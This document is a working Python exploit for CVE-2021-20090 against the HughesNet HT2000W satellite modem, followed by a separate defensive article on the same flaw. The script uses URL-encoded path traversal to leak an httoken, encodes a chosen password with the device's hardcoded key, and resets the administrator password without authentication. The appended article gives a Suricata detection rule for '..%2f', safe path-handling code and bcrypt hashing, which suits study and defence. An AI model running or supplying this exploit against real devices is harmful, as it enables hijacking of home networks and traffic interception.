HughesNet HT2000W Satellite Modem - Password Reset
# Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) - Password Reset
# Date: 7/16/24
# Exploit Author: Simon Greenblatt <simongreenblatt[at]protonmail.com>
# Vendor: HughesNet
# Version: Arcadyan httpd 1.0
# Tested on: Linux
# CVE: CVE-2021-20090
import sys
import requests
import re
import base64
import hashlib
import urllib
red = "\033[0;41m"
green = "\033[1;34;42m"
reset = "\033[0m"
def print_banner():
print(green + '''
_____________ _______________ _______________ ________ ____ _______________ _______ _______________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/_ | \_____ \ _ \ \ _ \/ __ \ _ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ | | ______ / ____/ /_\ \/ /_\ \____ / /_\ \
\ \____\ / | \ /_____/ / \ \_/ \/ \ | | /_____/ / \ \_/ \ \_/ \ / /\ \_/ \
\______ / \___/ /_______ / \_______ \_____ /\_______ \|___| \_______ \_____ /\_____ //____/ \_____ /
\/ \/ \/ \/ \/ \/ \/ \/ \/ \n''' + reset)
print(" Administrator password reset for HughesNet HT2000W Satellite Modem")
print('''
Usage: python3 hughes_ht2000w_pass_reset.py <password> <ip_address>
<password>: The new administrator password
<ip_address>: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\n
This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset
the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as
improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.''')
return None
def get_httoken(ip_address):
# Make a GET request to system_p.htm using path traversal
r = requests.get(f'http://{ip_address}/images/..%2fsystem_p.htm')
if r.status_code != 200:
print(red + f"(-) Failure: Could not request system_p.htm" + reset)
exit()
# Extract the httoken hidden in the DOM and convert it from Base64
return base64.b64decode(re.search(r'AAAIBRAA7(.*?)"', r.text).group(1)).decode('ascii')
def encode_pass(password):
# Vigenere Cipher
key = "wg7005d"
enc_pass = ""
idx = 0
for c in password:
enc_pass += str(ord(c) + ord(key[idx])) + "+"
idx = (idx + 1) % len(key)
return enc_pass
def change_pass(ip_address, httoken, enc_pass):
# Create a POST request with the httoken and the encoded password
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{ip_address}/system_p.htm'}
payload = {'action': 'ui_system_p', 'httoken': httoken, 'submit_button': 'system_p.htm', 'ARC_SYS_Password': enc_pass}
payload = urllib.parse.urlencode(payload, safe=':+')
try:
r = requests.post(f'http://{ip_address}/images/..%2fapply_abstract.cgi', data = payload, headers = headers)
except:
pass
return None
def verify_pass(ip_address, new_pass):
# Make a GET request to cgi_sys_p.js to verify password
httoken = get_httoken(ip_address)
headers = {'Referer': f'http://{ip_address}/system_p.htm'}
r = requests.get(f'http://{ip_address}/images/..%2fcgi/cgi_sys_p.js?_tn={httoken}', headers = headers)
if r.text.split('"')[5] != hashlib.md5(bytes(new_pass, 'ascii')).hexdigest():
print(red + "(-) Failure: Could not verify the hash of the password" + reset)
exit()
def main():
if not (len(sys.argv) == 2 or len(sys.argv) == 3):
print_banner()
return
new_pass = sys.argv[1]
ip_address = "192.168.42.1"
if sys.argv == 3:
ip_address = sys.argv[2]
httoken = get_httoken(ip_address)
print(f"[+] Obtained httoken: {httoken}")
enc_pass = encode_pass(new_pass)
change_pass(ip_address, httoken, enc_pass)
print(f"[+] Password reset to: {new_pass}")
verify_pass(ip_address, new_pass)
print("[+] Verified password hash: " + hashlib.md5(bytes(new_pass, 'ascii')).hexdigest())
print("[+] Password successfully changed!")
return
if __name__ == '__main__':
main() HughesNet HT2000W Satellite Modem — CVE-2021-20090 Explained, Risks, and How to Defend
The HughesNet HT2000W satellite modem (Arcadyan-based) was publicly associated with CVE-2021-20090, a collection of weaknesses in its local web management interface. Together these issues — notably path traversal in the HTTP daemon, weak token/authentication handling, and exposure of password-related hashes — allowed an attacker with local network access to manipulate the device configuration and reset the administrative password.
Quick summary
- Vulnerability class: Path traversal + authentication/secret handling weaknesses.
- Impact: Local network adversaries could alter configuration, reset admin passwords, or extract sensitive information.
- Affected: Certain models running Arcadyan HTTPd firmware (check vendor advisories and firmware versions).
- Primary defense: Apply vendor firmware updates, restrict management access, and follow secure configuration best practices.
How these weaknesses combine (high-level)
The exploitability stems from a chain of issues:
- Path traversal in the HTTP daemon: insufficient validation of requested paths allowed access to files or scripts outside intended directories.
- Inadequate session/token design: management tokens (httokens) were predictable/insufficiently protected or leaked via page content, so authentication enforcement could be bypassed or replayed.
- Insecure password handling: the device exposed or used plain MD5 hashes and/or weak encoding schemes, which are insufficient for modern secrets protection.
Why this matters
A successful attack gives an adversary persistent control over the modem’s management interface. Consequences include: changing DNS settings, creating remote access, intercepting traffic, or using the device as a pivot to attack other devices on the same network. Because satellite-modem owners are often consumers and remote sites, the impact can be significant and hard to detect without proper monitoring.
| Aspect | Issue | Mitigation |
|---|---|---|
| Input validation | Path traversal | Canonicalize paths, normalize input, reject encoded traversal tokens |
| Authentication | Insecure tokens | Use strong, cryptographically random tokens; rotate; bind to session |
| Hashing | MD5 or reversible encodings | Use modern password hashing (bcrypt/Argon2), salt + pepper |
Detection and monitoring (defensive signatures)
Network and host-based monitoring can detect attempts to exploit traversal or attempt unusual requests. Consider alerts for requests containing encoded traversal sequences or requests to unexpected management resources. Below is a defensive example for a network IDS/IPS (Suricata/Suricata-style) that flags requests with encoded traversal patterns; this is intended for defenders to detect suspicious activity.
alert http any any -> any any (msg:"DEFEND: URL-encoded path traversal attempt"; http.uri; content:"..%2f"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
Explanation: This rule triggers when an HTTP URI contains the URL-encoded traversal token (“..%2f”), which often appears in attempts to reach parent directories via encoded payloads. Tune and test any detection rule to avoid false positives, and use it alongside other context such as source address reputations and temporal patterns.
Practical remediation steps for administrators
- Check for vendor firmware updates and apply them immediately. Manufacturers often patch these flaws; verify release notes for CVE-2021-20090 or “Arcadyan HTTPd” fixes.
- Restrict management-plane access: disable remote/wan-side web management unless explicitly needed. Limit access to specific LAN IPs or management VLANs.
- Change default credentials to unique, strong passwords, and enforce admin password policies. Use passphrases and a password manager.
- Network segmentation: place consumer/modem devices on a separate network or VLAN away from sensitive hosts and servers.
- Monitor logs: collect device logs (if possible) and forward them to a central logging/monitoring system. Watch for unusual config changes, repeated denied requests, or new administrative accounts.
- Consider device replacement: if a vendor no longer supports the device, replacing it with a supported modem/router is safest.
Secure coding and configuration practices to prevent similar issues
If you write or audit embedded web services, apply these principles:
- Reject unsafe path input — canonicalize and verify paths are within the intended base directory before open/read operations.
- Never rely on obscured tokens or weak encodings — implement CSRF-resistant, cryptographically secure session tokens with expiration and binding to client context.
- Use modern, slow password hashing algorithms (bcrypt, scrypt, Argon2) with per-password salts. Avoid MD5 or unsalted hashes.
- Principle of least privilege: web processes should not run as root and should have minimal filesystem access.
- Harden management endpoints: require HTTPS, use certificate pinning/valid certs where possible, and disable debug/info endpoints in production.
Safe secure-coding examples
Below is a defensive Python example (safe, non-exploitable) showing how to canonicalize an incoming file path and ensure it remains within a base directory before serving it. This prevents path traversal attempts.
import os
BASE_DIR = "/var/www/static"
def safe_join(base, user_path):
# Normalize and get absolute paths
requested = os.path.realpath(os.path.join(base, user_path))
base = os.path.realpath(base)
# Ensure the requested path is inside the allowed base directory
if not requested.startswith(base + os.sep) and requested != base:
raise ValueError("Invalid path")
return requested
Explanation: The code joins the base directory with the user-supplied path, resolves symbolic links and relative components with realpath(), and then checks that the final resolved path starts with the canonical base directory. If it doesn't, the input is rejected — preventing traversal like “../” or encoded equivalents. Integrate similar checks deeply in any file-serving logic and log rejected attempts.
Another defensive example: use a modern password hash (bcrypt) for storing administrator credentials rather than MD5.
import bcrypt
def hash_password(password: str) -> bytes:
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode('utf-8'), salt)
def check_password(password: str, hashed: bytes) -> bool:
return bcrypt.checkpw(password.encode('utf-8'), hashed)
Explanation: bcrypt generates a per-password salt and uses an adaptive cost factor. This makes brute-force much harder than MD5. Store only the bcrypt output; never store raw passwords or simple MD5 hashes.
Incident response checklist if you suspect compromise
- Immediately isolate the modem from the upstream network (power-cycle or disconnect WAN) if unauthorized configuration is found.
- Capture and preserve logs and device state for forensic analysis before resetting or re-flashing firmware.
- Factory-reset the device using vendor-recommended procedures and re-apply the latest firmware from the vendor website (not a third-party image).
- Change all passwords associated with the device and any exposed services. Reconfigure securely (disable unneeded services).
- Notify your ISP/vendor support if you suspect a compromise; they may provide device-specific remediation or replacement.
Where to find authoritative information
- Official vendor security advisories (HughesNet / device manufacturer)
- NIST/NVD entry for CVE-2021-20090 for metadata and references
- Security mailing lists and CERT advisories for advisories and coordinated disclosure timelines
Final notes
CVE-2021-20090 highlights how multiple modest flaws — path traversal, weak tokens, and insecure hashing — can be chained to produce a severe compromise. The most effective defenses are timely firmware updates, reducing attack surface for management interfaces, robust input validation, and modern secrets handling. For consumer and small-business deployments, segmentation and basic hardening are often the most pragmatic steps to reduce risk immediately.